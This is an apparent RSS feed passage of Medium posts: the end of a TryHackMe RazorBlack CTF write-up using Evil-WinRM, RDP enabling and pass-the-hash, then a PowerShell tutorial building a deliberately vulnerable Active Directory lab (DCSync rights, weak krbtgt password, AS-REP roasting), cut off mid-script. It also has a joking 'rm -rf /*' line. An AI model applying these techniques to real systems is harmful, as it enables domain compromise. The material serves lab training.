hash</p><pre>*Evil-WinRM* PS C:\Users\Administrator&gt; type root.xml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qqz-qWQp6qnR6kYZDh3sSA.png" /></figure><p>Copy the hash and Follow the command below in the python shell.</p><pre>#Python Shell<br>&gt;&gt;&gt; s = &quot;HASH&quot;<br>&gt;&gt;&gt; print(bytes.fromhex(s).decode(&#39;ASCII&#39;))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gIPOoINUZwe8DA1dd5IGsg.png" /></figure><p><strong>Now we solve the 8th question.</strong></p><h4>Question 10 - What is Tyson’s Flag?</h4><p>The finding the Tyson AKA twilliams flag is fairly easy one You need to enter he’s directory and you find some strange named <strong>.exe</strong> file to get the flag you have two options one is <strong>type</strong> command or Powershell Get-Content command for my case I use the Powershell option</p><pre>*Evil-WinRM* PS C:\Users\twilliams&gt; Get-Content definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_not_a_flag.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qc11dfEkjihTNKswQyVVuw.png" /></figure><p><strong>now we solve the 10th question.</strong></p><h4>Question 11 - What is the complete top secret?</h4><p>You can solve this question using the Commandline but it is <strong>no fun for me</strong> so I am going to use different way connecting the machine using the <strong>RDP </strong>for this I need to do some modifications and tickering in the system</p><p>First I need to <strong>Enable the Remote Desktop Services and configure the firewall rules</strong> using the following commands.</p><pre>#RDP enable in cmd<br>*Evil-WinRM* PS C:\Users\Administrator\Documents&gt;reg add &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f<br>*Evil-WinRM* PS C:\Users\Administrator\Documents&gt; netsh advfirewall firewall set rule group=&quot;remote desktop&quot; new enable=Yes</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xnHcyea5CZv2s578bW-A6Q.png" /></figure><p>To Connect to the RDP session I am going to use <strong>xfreerdp3</strong> tool. We have the Administrators hash, but when I try to login with Rdp there is some Restriction policy wouldn’t let me so I am going to bypass that policy as well.</p><pre>┌──(root㉿Q540VJ)-[~/Desktop/Cybersec/THM/RazorBlack]<br>└─# xfreerdp3 /v:Target /u:Administrator /pth:admin-hash  /dynamic-resolution</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wvzNnMB06Pv6et0jtILeVg.png" /></figure><p>This command going to bypass this restriction policy</p><pre>#Disable Admin Restriction on RDP<br>*Evil-WinRM* PS C:\Users\Administrator\Documents&gt; New-ItemProperty -Path ‘HKLM:\System\CurrentControlSet\Control\Lsa’ -name ‘DisableRestrictedAdmin’ -PropertyType ‘DWORD’ -value ‘0’ -force</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qu2l8K-UJw8ezOVomhtc7w.png" /></figure><p><strong>Now We are in the RDP session</strong> ✊</p><p>Now to solve the Question We need to find the <strong>Secret File </strong>for this I use the powershell to search the system and find some png file, luckly we are in the <strong>RDP connection</strong> that I use the <strong>mspaint cmdlet</strong> to open this image file</p><pre>PS&gt;&gt; Get-ChildItem -Path &quot;C:\&quot; -Include &quot;*secret*&quot; -Recurse -ErrorAction SilentlyContinue<br>PS&gt;&gt; mspaint &#39;Secret file Path&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_oY94xCrKQseQ1rEaVhGHw.png" /></figure><p><strong>The Answer is Fairly avious You can find it yourself </strong>😁.</p><h4>Question 12 - Did you like your cookie?</h4><p>Say Yes or I will do sudo rm -rf /* on your PC. <strong>If you don’t want your PC to Destroyed Just Answer Yes 😂.</strong></p><h4><strong>I Hope You Enjoyed it.</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*cChqVJaacnqvZ9rd.gif" /></figure><p>“If you have any questions or comments, please do not hesitate to write. Have a good days”</p><p><a href="https://www.linkedin.com/in/yusif-yagubzadeh/">https://www.linkedin.com/in/yusif-yagubzadeh/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f07706ed533" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/tryhackme-razorblack-3f07706ed533">Tryhackme: RazorBlack</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AD Powershell Automation, VulnAD]]></title>
            <link>https://osintteam.blog/ad-powershell-automation-vulnad-640fde745346?source=rss-e00a72c6a6cb------2</link>
            <guid isPermaLink="false">https://medium.com/p/640fde745346</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[automation-scripting]]></category>
            <category><![CDATA[powershell-scripting]]></category>
            <category><![CDATA[red-teaming]]></category>
            <dc:creator><![CDATA[Yusif Yagubzade]]></dc:creator>
            <pubDate>Sat, 21 Jun 2025 21:37:59 GMT</pubDate>
            <atom:updated>2025-06-23T16:57:09.699Z</atom:updated>
            <content:encoded><![CDATA[<p>Today we will take a look at How to use Powershell to Automate Active Directory Confiquration and as for the bonus part I will demonstrate How to create Vulnerable Active directory Lab environment using Powershell automation scripts. My goal in sharing this article is simplify AD setup and support hands-on security practice. Please try to understand each step and take notes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q-oyh18zee9Zd9dXcluxJw.png" /></figure><p>Before we start lets talk about <strong>Powershell</strong> and <strong>Powershell scripting</strong>. <strong>PowerShell </strong>is a cross-platform task automation framework and scripting language built on the .NET Common Language Runtime (CLR). It runs on Windows, Linux, and macOS. It combines a command-line shell, a scripting language, and a configuration management framework. Unlike traditional shells that work with text, PowerShell works with .NET objects, allowing for more complex data manipulation and easier automation. As for The Powershell scripting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*axRX9vK38ZpnZp8uQm-rVg.png" /></figure><p><strong>PowerShell scripts</strong> are plain text files containing one or more PowerShell commands, saved with a .ps1 file extension. They are used primarily to automate system management tasks, build, test, and deploy solutions, often in continuous integration/continuous deployment (CI/CD) environments.</p><p>To write PowerShell scripts, you can use simple text editors like Notepad or more advanced environments like the PowerShell Integrated Scripting Environment (ISE) or Visual Studio Code with PowerShell extensions. As for me I am going to use Sublime text but you can chose your Favorite IDE there is no limitation. For who wants to learn more about powershell scripting I am going to leave source links below👍</p><ul><li><a href="https://www.tutorialspoint.com/powershell/powershell_scripting.htm">PowerShell Scripting</a></li><li><a href="https://learn.microsoft.com/en-us/training/modules/script-with-powershell/">Introduction to scripting in PowerShell - Training</a></li></ul><h3>Active Directory Automation Scripts.</h3><p>Now let us look at the Practical usage of this scripts. My plan is to use Powershell scripts Automate creation of an Active directory Environment without doing so much manual work, for this demonstration I will use Windows Server 2022 as a Domain Controller as for the Domain client I use Windows 10 pro. As for the Scripts I plan to write 2 script, one is going to randomly create Domain Users and Groups each time it runs, and put the data inJSONfile. Second script is going to use this JSON file and Create anActive directory environment.</p><h4>First Script Random_domain.ps1 Creation steps.</h4><p>First we need the Data which the script is going to use, more specific we need Users’ first and last names, Group names, and lastly a Password list.</p><p>I find a Users information from this github page.</p><p><a href="https://github.com/hippy2094/random-name-generator">GitHub - hippy2094/random-name-generator: Generates an XML file containing a list of randomly generated names and ages</a></p><p>For password list I am going to use Rockyou.txt and create a custom wordlist for users. As For the Group names you can use different names such as Student, Employees, IT, Developers, Researchers and etc.</p><p>After creating all this files Create a Data folder and put all this file inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sS8X9tfaeBHon9VczcvpBA.png" /></figure><p>Now it is time to write the random_domain.ps1First I am going to show the Full script and explain its Functionality.</p><pre>param( <br>    [Parameter(Mandatory=$true)] $OutputJSONFile,<br>    [int]$UserCount,<br>    [int]$GroupCount,<br>    [int]$LocalAdminCount<br> )<br><br>$group_names = [System.Collections.ArrayList](Get-Content &quot;data/group_names.txt&quot;)<br>$first_names = [System.Collections.ArrayList](Get-Content &quot;data/first_names.txt&quot;)<br>$last_names = [System.Collections.ArrayList](Get-Content &quot;data/last_names.txt&quot;)<br>$passwords = [System.Collections.ArrayList](Get-Content &quot;data/passwords.txt&quot;)<br><br>$groups = @()<br>$users = @()<br><br># Default UserCount set to 5 (if not set)<br>if ( $UserCount -eq 0 ){<br>    $UserCount = 30<br>}<br><br># Default GroupCount set to 5 (if not set)<br>if ( $GroupCount -eq 0 ){<br>    $GroupCount = 12<br>}<br><br>if ( $LocalAdminCount -ne 0){<br>    $local_admin_indexes = @()<br>    while (($local_admin_indexes | Measure-Object ).Count -lt $LocalAdminCount){<br>        <br>        $random_index = (Get-Random -InputObject (1..($UserCount)) | Where-Object { $local_admin_indexes -notcontains $_ } )<br>        $local_admin_indexes += @( $random_index )<br>        echo &quot;adding $random_index to local_admin_indexes $local_admin_indexes&quot;<br>    }<br>}<br><br>for ( $i = 1; $i -le $GroupCount; $i++ ){<br>    $group_name = (Get-Random -InputObject $group_names)<br>    $group = @{ &quot;name&quot; = &quot;$group_name&quot; }<br>    $groups += $group<br>    $group_names.Remove($group_name)<br>}<br><br>for ( $i = 1; $i -le $UserCount; $i++ ){<br>    $first_name = (Get-Random -InputObject $first_names)<br>    $last_name = (Get-Random -InputObject $last_names)<br>    $password = (Get-Random -InputObject $passwords)<br><br>    $new_user = @{ `<br>        &quot;name&quot;=&quot;$first_name $last_name&quot;<br>        &quot;password&quot;=&quot;$password&quot;<br>        &quot;groups&quot; = (Get-Random -InputObject $groups).name<br>        }<br><br>    if ( $local_admin_indexes | Where { $_ -eq $i  } ){<br>        echo &quot;user $i is local admin&quot;<br>        $new_user[&quot;local_admin&quot;] = $true<br>    }<br><br>    $users += $new_user<br><br>    $first_names.Remove($first_name)<br>    $last_names.Remove($last_name)<br>    $passwords.Remove($password)<br>}<br><br>ConvertTo-Json -InputObject @{ <br>    &quot;domain&quot;= &quot;&lt;Your Domain Name&gt;&quot;<br>    &quot;groups&quot;=$groups<br>    &quot;users&quot;=$users<br>} | Out-File $OutputJSONFile </pre><p>As I mention in the start this script look inside of the Data folder and user given information files and Create a JSON file according to the given information which we use this JSON file to our next script. Additionally I add the extra fuction to this script in this section.</p><pre>if ( $LocalAdminCount -ne 0){<br>    $local_admin_indexes = @()<br>    while (($local_admin_indexes | Measure-Object ).Count -lt $LocalAdminCount){<br>        <br>        $random_index = (Get-Random -InputObject (1..($UserCount)) | Where-Object { $local_admin_indexes -notcontains $_ } )<br>        $local_admin_indexes += @( $random_index )<br>        echo &quot;adding $random_index to local_admin_indexes $local_admin_indexes&quot;<br>    }</pre><p>This section of the Script Give Domain users’ Local Admin privilege and specify in JSON file.</p><h4>Demonstration of Script Usages.</h4><p>Now the Script usages. You can use this script both Windows powershell terminal or Linux pwsh Shell.</p><pre>#Standard Usage of the Script<br>PS C:\Users\phantom&gt; .\random_domain.ps1<br>&gt;&gt;&#39;Outfilename&#39;.json`</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bkp4RWS6wn-YbMac7arV3g.png" /></figure><pre>#Add Local admin privileges to random Users<br>PS C:\Users\phantom&gt; .\random_domain.ps1 &#39;Outfilename&#39;.json -UserCount &lt;usercount&gt; -LocalAdminCount &lt;admincount&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fCbueeLCP5JIssYGCX0-6w.png" /></figure><p>This was the First Script, Now we are going to look at the Second script.</p><h4>Second Script Ad_gen.ps1 Creation Steps.</h4><p>Now we are the second phase of our Plan. In previous steps we succefully create Script which create Users and Group information, I am going to write script which use this information file and create Active directory Domain environment, But before we start I install Active directory services to Windows server 2022 and Promote the server as Domain Controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rmCrK7E1YgOhm0GqmwGb9A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*xB2hPD1redrG3m9uEDzJkQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hcAzIln4oW_whAc_plPvSg.png" /></figure><p>After the Deployment of the Domain Controller in Windows Server it is time to Create the ad_gen.ps1 Script. Again I show the Script and Explain it fuctionallity.</p><pre>param( <br>    [Parameter(Mandatory=$true)] $JSONFile,<br>    [switch]$Undo<br>)<br>function CreateADGroup(){<br>    param( [Parameter(Mandatory=$true)] $groupObject )<br><br>    $name =  $groupObject.name<br>    New-ADGroup -name $name -GroupScope Global<br>}<br>function RemoveADGroup(){<br>    param( [Parameter(Mandatory=$true)] $groupObject)<br><br>    $name = $groupObject.name<br>    Remove-ADGroup -Identity $name -Confirm:$False<br>}<br>function CreateADUser(){<br>    param( [Parameter(Mandatory=$true)] $userObject )<br><br>    # Pull out the name form the JSON object<br>    $name = $userObject.name<br>    $password = $userObject.password<br><br>    # Generate a &quot;first initial, last name&quot; structure for username<br>    $firstname, $lastname = $name.Split(&quot; &quot;)<br>    $username = ($firstname[0] + $lastname).ToLower()<br>    $SamAccountName = $username<br>    $principalname = $username<br><br>    # Actually create the AD user object<br>    New-ADUser -Name &quot;$name&quot; -GivenName $firstname -Surname $lastname -SamAccountName $SamAccountName -UserPrincipalName $principalname@$Global:Domain -AccountPassword (ConvertTo-SecureString $password -AsPlaintext -Force) -PassThru | Enable-ADAccount<br><br>    # Add the user to its appropriate group<br>    foreach($group_name in $userObject.groups){<br>        <br>        try{<br>            Get-ADGroup -Identity &quot;$group_name&quot;<br>            Add-ADGroupMember -Identity $group_name -Members $username<br>        }<br>        catch [Microsoft.ActiveDirectory.Management.ADIdentityNotFoundException]<br>        {<br>            Write-Warning &quot;User $name NOT added to group $group_name because it does not exist&quot;<br>        }<br>    }<br>    # Add to local admin as needed<br>    if ($userObject.local_admin -eq $true){<br>        net localgroup administrators $Global:Domain\$username /add<br>    }<br>    # $add_command=&quot;net localgroup administrators $Global:Domain\$username /add&quot;<br>    # foreach ($hostname in $userObject.local_admin){<br>    #    echo &quot;Invoke-Command -Computer $hostname -ScriptBlock { $add_command }&quot; | Invoke-Expression <br>    # }<br>}<br><br>function RemoveADUser (){<br>    param( [Parameter(Mandatory=$true)] $userObject )<br>    $name = $userObject.name<br>    $firstname, $lastname = $name.Split(&quot; &quot;)<br>    $username = ($firstname[0] + $lastname). ToLower()<br>    $samAccountName = $username<br>    Remove-ADUser -Identity $samAccountName -Confirm:$False<br>}<br>function WeakenPasswordPolicy(){<br>    secedit /export /cfg C:\Windows\Tasks\secpol.cfg<br>    (Get-Content C:\Windows\Tasks\secpol.cfg).replace(&quot;PasswordComplexity = 1&quot;, &quot;PasswordComplexity = 0&quot;).replace(&quot;MinimumPasswordLength = 7&quot;, &quot;MinimumPasswordLength = 1&quot;) | Out-File C:\Windows\Tasks\secpol.cfg<br>    secedit /configure /db C:\windows\security\local.sdb /cfg C:\Windows\Tasks\secpol.cfg /areas SECURITYPOLICY<br>    rm -force C:\Windows\Tasks\secpol.cfg -confirm:$false<br>}<br>function StengthenPasswordPolicy(){<br>    secedit /export /cfg C:\Windows\Tasks\secpol.cfg<br>    (Get-Content C:\Windows\Tasks\secpol.cfg).replace(&quot;PasswordComplexity = 0&quot;, &quot;PasswordComplexity = 1&quot;).replace(&quot;MinimumPasswordLength = 1&quot;, &quot;MinimumPasswordLength = 7&quot;) | Out-File C:\Windows\Tasks\secpol.cfg<br>    secedit /configure /db C:\windows\security\local.sdb /cfg C:\Windows\Tasks\secpol.cfg /areas SECURITYPOLICY<br>    rm -force C:\Windows\Tasks\secpol.cfg -confirm:$false<br>}<br>$json = ( Get-Content $JSONFile | ConvertFrom-Json)<br>$Global:Domain = $json.domain <br>if ( -not $Undo) {<br>    WeakenPasswordPolicy<br><br>    foreach ( $group in $json.groups ){<br>        CreateADGroup $group<br>    }<br>    foreach ( $user in $json. users ) {<br>        CreateADUser $user<br>    }<br>}else{<br>    StengthenPasswordPolicy<br><br>    foreach ( $user in $json. users ) {<br>        RemoveADUser $user<br>    }<br>    foreach ( $group in $json.groups ){<br>        RemoveADGroup $group<br>    }<br>}</pre><p>This script automates the creation and removal of Active Directory users and groups based on a provided JSON file. When run normally, it weakens the system’s password policy to allow simple passwords, creates specified AD groups, generates user accounts using a “first initial + last name” format, assigns them to appropriate groups, and optionally adds them to the local administrators group. When executed with the -Undo switch, the script removes the created users and groups and restores the original (stronger) password policy. I also add additional fuction to this script.</p><pre># Add to local admin in Domain Controller as needed<br>    if ($userObject.local_admin -eq $true){<br>        net localgroup administrators $Global:Domain\$username /add<br>    }</pre><p>in this first lines of code look for the JSON file and if the user have local admin:truein give the Local Admin privileges to that user in Domain.</p><p>Here are the JSON content Examples.</p><pre># JSON for Local Admin in Domain<br>{<br>    &quot;local_admin&quot;: true,<br>    &quot;groups&quot;:  &quot;Researchers&quot;,<br>    &quot;name&quot;:  &quot;Yusif Yagubzadeh&quot;,<br>    &quot;password&quot;:  &quot;neongenesis&quot;<br>},</pre><h4>Demonstration of Script Usages.</h4><p>Now the Script usages. You can use this script both Windows powershell terminal. I am going to show both <strong>apply </strong>and<strong> undo</strong> functionality</p><p>(<strong>Note: Run the Script in the Domain Controller Terminal!</strong>)</p><pre># Enter Domain session and run the script<br>[DC-Session]: PS C:\windows\Tasks&gt; .\ad_gen.ps1 .\schema.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lZQoJekSrzvoM_QDbjR99g.png" /></figure><h4>Checking the Result.</h4><pre># Check the new Domain Users<br>[DC-Session]: PS C:\windows\Tasks&gt; net user /domain<br><br>#Check the new Domain Groups<br>[DC-Session]: PS C:\windows\Tasks&gt; net group /domain</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PlcWqJygpALnA9LXe0DKmw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-jifXb_wcMMUpK5uSE9K0Q.png" /></figure><h4>Undoing the Script.</h4><pre># Remove all Users and Group From Domain<br>[DC-Session]: PS C:\windows\Tasks&gt; .\ad_gen.ps1 .\schema.json -Undo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5avw3hP_MORFQ81zZbYBJQ.png" /></figure><h4>Checking the Results.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a7E3kbe8DD_SB-7CgaRerQ.png" /></figure><p>Addition to this Script I also add the Local Admin privilege section in order to add Local admin Privilege in Client machines as well.</p><pre># Add to local admin in Client Machines as needed<br>    $add_command=&quot;net localgroup administrators $Global:Domain\$username /add&quot;<br>    foreach ($hostname in $userObject.local_admin){<br>       echo &quot;Invoke-Command -Computer $hostname -ScriptBlock { $add_command }&quot; | Invoke-Expression <br>    }</pre><p>To use this Section of the script we need some additional configurations in Client machines and JSON file. We must Enable PSRemoting in Client machines and add our domain to Trusted Hosts in order to Make Clients to identify the Domain Machine.</p><pre>#Enable PSRemoting on (Client Machine)<br>PS C:\Users\Phantom&gt; Enable-PSRemoting<br><br>#Add Domain to Trusted hosts<br>PS C:\Users\Phantom&gt; set-item wsman:\localhost\client\trustedhosts -Value &quot;Domain-Fullname&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oq-PEm9Dv5Cs_dsK6RT-Ng.png" /></figure><p>After Configuration in Client machines, We modify the JSON Data file</p><p><strong>JSON Content Format Example</strong></p><pre># JSON for Local Admin in Clients<br>{<br>    &quot;local_admin&quot;: [&quot;&lt;Client-PCname&gt;&quot;],<br>    &quot;groups&quot;:  &quot;Researchers&quot;,<br>    &quot;name&quot;:  &quot;Yusif Yagubzadeh&quot;,<br>    &quot;password&quot;:  &quot;neongenesis&quot;<br>},</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*TMMj_zIz9y_JUqqrStm_KQ.png" /></figure><p>After Doing Essential Modification its time to run the ad_gen.ps1 with new JSON file Check the Results in Client Machine by Running CMD as Administrator and Check the Results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mWtSyKkE_j9sn4Pgatt1Sg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*ZwmqStWytdawu-YuKvuZ_Q.png" /><figcaption>NORMAL DOMAIN USER</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*hEHrpuHwPOcsjgeqzi8gBg.png" /><figcaption>DOMAIN USER WITH LOCAL ADMIN PRIVILEGE</figcaption></figure><p>This is the All For Automation of Active Directory Domain deployment.</p><h3>Vulnerable Active Directory Scripts.</h3><p>Its Time for my Dear Pentester and Red Teamers, I am going to Demonstrate how to Deploy a Vulnerable Active Directory Lab Environment using Powershell Automation for Pentesting or RedTeaming if you are Preparing to <strong>CRTA</strong> or similar AD certifications, I hope this will be usefull for all.</p><h4>VulnAD Script Creation steps.</h4><p>This script automates the setup and teardown of a comprehensive suite of Active Directory attack simulations, including AS-REP roasting, Kerberoasting, DCSync, Golden Ticket, Pass-the-Ticket, ACL abuse, and more, enabling security professionals to test detection and response capabilities against these common AD attack techniques. For Usage it uses the Same JSON data file to and Configure the Vulnerabilities for Each user</p><p>Again I show the Script and Explain it fuctionallity. This script also have Undo fuctionality in case something go wrong you can return the original state.</p><pre>param(<br>    [Parameter(Mandatory=$true)]<br>    [ValidateNotNullOrEmpty()]<br>    [string]$JSONFile,<br><br>    [switch]$Undo<br>)<br># Import Active Directory module if not already loaded<br>if (-not (Get-Module -Name ActiveDirectory)) {<br>    Import-Module ActiveDirectory -ErrorAction Stop<br>}<br># Load domain and user data from JSON<br>try {<br>    $json = Get-Content -Path $JSONFile -ErrorAction Stop | ConvertFrom-Json<br>} catch {<br>    Write-Error (&quot;Failed to load or parse JSON file: {0}&quot; -f $_)<br>    exit 1<br>}<br>$domain = $json.domain<br>$users = $json.users<br>$domainDn = (Get-ADDomain -ErrorAction Stop).DistinguishedName<br><br>function Get-UserObject {<br>    param([string]$samAccountName)<br>    try {<br>        return Get-ADUser -Identity $samAccountName -Properties DistinguishedName -ErrorAction Stop<br>    } catch {<br>        Write-Warning (&quot;User {0} not found in AD: {1}&quot; -f $samAccountName, $_)<br>        return $null<br>    }<br>}<br># -------------------------<br># --- Vulnerability Functions ---<br># -------------------------<br>function Add-UserWithASREP {<br>    param([string]$samAccountName)<br>    try {<br>        Set-ADAccountControl -Identity $samAccountName -DoesNotRequirePreAuth $true -ErrorAction Stop<br>        Write-Verbose &quot;Enabled AS-REP roasting for $samAccountName&quot;<br>    } catch {<br>        Write-Warning (&quot;Failed to enable AS-REP for {0}: {1}&quot; -f $samAccountName, $_)<br>    }<br>}<br><br>function Remove-ASREP {<br>    param([string]$samAccountName)<br>    try {<br>        Set-ADAccountControl -Identity $samAccountName -DoesNotRequirePreAuth $false -ErrorAction Stop<br>        Write-Verbose &quot;Disabled AS-REP roasting for $samAccountName&quot;<br>    } catch {<br>        Write-Warning (&quot;Failed to disable AS-REP for {0}: {1}&quot; -f $samAccountName, $_)<br>    }<br>}<br><br>function Add-SPNToUser {<br>    param([string]$samAccountName, [string]$spn)<br>    try {<br>        Set-ADUser -Identity $samAccountName -ServicePrincipalNames @{Add=$spn} -ErrorAction Stop<br>        Write-Verbose &quot;Added SPN $spn to $samAccountName&quot;<br>    } catch {<br>        Write-Warning (&quot;Failed to add SPN to {0}: {1}&quot; -f $samAccountName, $_)<br>    }<br>}<br><br>function Remove-SPNsFromUser {<br>    param([string]$samAccountName)<br>    try {<br>        Set-ADUser -Identity $samAccountName -Clear servicePrincipalName -ErrorAction Stop<br>        Write-Verbose &quot;Cleared SPNs from $samAccountName&quot;<br>    } catch {<br>        Write-Warning (&quot;Failed to clear SPNs from {0}: {1}&quot; -f $samAccountName, $_)<br>    }<br>}<br><br>function Add-PasswordToComment {<br>    param([string]$samAccountName, [string]$password)<br>    try {<br>        Set-ADUser -Identity $samAccountName -Description &quot;Password: $password&quot; -ErrorAction Stop<br>        Write-Verbose &quot;Added password to description for $samAccountName&quot;<br>    } catch {<br>        Write-Warning (&quot;Failed to add password comment for {0}: {1}&quot; -f $samAccountName, $_)<br>    }<br>}<br><br>function Clear-UserDescription {<br>    param([string]$samAccountName)<br>    try {<br>        Set-ADUser -Identity $samAccountName -Clear description -ErrorAction Stop<br>        Write-Verbose &quot;Cleared description for $samAccountName&quot;<br>    } catch {<br>        Write-Warning (&quot;Failed to clear description for {0}: {1}&quot; -f $samAccountName, $_)<br>    }<br>}<br><br>function Grant-UserDCSyncRights {<br>    param([string]$username)<br>    try {<br>        $sid = (Get-ADUser -Identity $username -ErrorAction Stop).SID<br>        $acl = Get-ACL &quot;AD:$domainDn&quot;<br>        $guidMap = @{<br>            &quot;DS-Replication-Get-Changes&quot; = &quot;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2&quot;;<br>            &quot;DS-Replication-Get-Changes-All&quot; = &quot;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2&quot;;<br>            &quot;DS-Replication-Get-Changes-In-Filtered-Set&quot; = &quot;89e95b76-444d-4c62-991a-0facbeda640c&quot;<br>        }<br><br>        foreach ($right in $guidMap.Values) {<br>            $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($sid, &quot;ExtendedRight&quot;, &quot;Allow&quot;, [GUID]$right)<br>            $acl.AddAccessRule($ace)<br>        }<br><br>        Set-ACL -Path &quot;AD:$domainDn&quot; -AclObject $acl<br>        Write-Verbose &quot;Granted DCSync rights to $username&quot;<br>    } catch {<br>        Write-Warning (&quot;Failed to grant DCSync rights to {0}: {1}&quot; -f $username, $_)<br>    }<br>}<br><br>function Add-DnsAdminsExploit {<br>    param([string]$username)<br>    try {<br>        Add-ADGroupMember -Identity &quot;DnsAdmins&quot; -Members $username -ErrorAction Stop<br>        Write-Verbose &quot;Added $username to DnsAdmins group&quot;<br>    } catch {<br>        Write-Warning (&quot;Failed to add {0} to DnsAdmins: {1}&quot; -f $username, $_)<br>    }<br>}<br><br>function Remove-DnsAdminsExploit {<br>    param([string]$username)<br>    try {<br>        Remove-ADGroupMember -Identity &quot;DnsAdmins&quot; -Members $username -Confirm:$false -ErrorAction Stop<br>        Write-Verbose &quot;Removed $username from DnsAdmins group&quot;<br>    } catch {<br>        Write-Warning (&quot;Could not remove {0} from DnsAdmins: {1}&quot; -f $username, $_)<br>    }<br>}<br><br>function Add-PermissiveACL {<br>    param([string]$targetObjectDN, [string]$username)<br>    try {<br>        $acl = Get-ACL &quot;AD:$targetObjectDN&quot;<br>        if ($null -eq $acl) {<br>            Write-Warning &quot;Failed to get ACL for $targetObjectDN&quot;<br>            return<br>        }<br>        $sid = (Get-ADUser -Identity $username -ErrorAction Stop).SID<br>        $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($sid, &quot;GenericAll&quot;, &quot;Allow&quot;)<br>        $acl.AddAccessRule($ace)<br>        Set-ACL -Path &quot;AD:$targetObjectDN&quot; -AclObject $acl<br>        Write-Verbose &quot;Added GenericAll ACE on $targetObjectDN for $username&quot;<br>    } catch {<br>        Write-Warning (&quot;Failed to add permissive ACL for {0} on {1}: {2}&quot; -f $username, $targetObjectDN, $_)<br>    }<br>}<br><br>function Remove-PermissiveACL {<br>    param([string]$targetObjectDN, [string]$username)<br>    try {<br>        $acl = Get-ACL &quot;AD:$targetObjectDN&quot;<br>        if ($null -eq $acl) {<br>            Write-Warning &quot;Failed to get ACL for $targetObjectDN&quot;<br>            return<br>        }<br>        $sid = (Get-ADUser -Identity $username -ErrorAction Stop).SID<br>        $aces = $acl.Access | Where-Object { $_.IdentityReference -eq $sid -and $_.ActiveDirectoryRights -eq &quot;GenericAll&quot; }<br>        foreach ($ace in $aces) {<br>            $acl.RemoveAccessRule($ace)<br>        }<br>        Set-ACL -Path &quot;AD:$targetObjectDN&quot; -AclObject $acl<br>        Write-Verbose &quot;Removed GenericAll ACE on $targetObjectDN for $username&quot;<br>    } catch {<br>        Write-Warning (&quot;Failed to remove permissive ACL for {0} on {1}: {2}&quot; -f $username, $targetObjectDN, $_)<br>    }<br>}<br><br>function Add-GoldenTicketVuln {<br>    Write-Verbose &quot;[*] Setting weak krbtgt password and description for Golden Ticket simulation&quot;<br>    try {<br>        # WARNING: This is dangerous on production; only for lab use<br>        Set-ADAccountPassword -Identity &quot;krbtgt&quot; -Reset -NewPassword (ConvertTo-SecureString &quot;P@ssw0rd123!&quot; -AsPlainText -Force) -ErrorAction Stop<br>        Set-ADUser -Identity &quot;krbtgt&quot; -Description &quot;Weak krbtgt password for Golden Ticket simulation&quot; -ErrorAction Stop<br>    } catch {<br>        Write-Warning (&quot;Failed to set Golden Ticket vulnerability: {0}&quot; -f $_)<br>    }<br>}<br><br>function Remove-GoldenTicketVuln {<br>    Write-Verbose &quot;[*] Clearing krbtgt description for Golden Ticket simulation cleanup&quot;<br>    try {<br>        Set-ADUser -Identity &quot;krbtgt&quot; -Clear description -ErrorAction Stop<br>        # Note: Password reset back to original is manual or requires backup<br>    } catch {<br>        Write-Warning (&quot;Failed to clear Golden Ticket vulnerability: {0}&quot; -f $_)<br>    }<br>}<br><br>function Add-PassTheTicketSimulation {<br>    param([string]$samAccountName)<br>    try {<br>        Set-ADUser -Identity $samAccountName -Replace @{info=&quot;FakePassTheTicketData&quot;} -ErrorAction Stop<br>        Write-Verbose &quot;Simulated Pass-the-Ticket for $samAccountName&quot;<br>    } catch {<br>        Write-Warning (&quot;Failed to simulate Pass-the-Ticket for {0}: {1}&quot; -f $samAccountName, $_)<br>    }<br>}<br><br>function Remove-PassTheTicketSimulation {<br>    param([string]$samAccountName)<br>    try {<br>        Set-ADUser 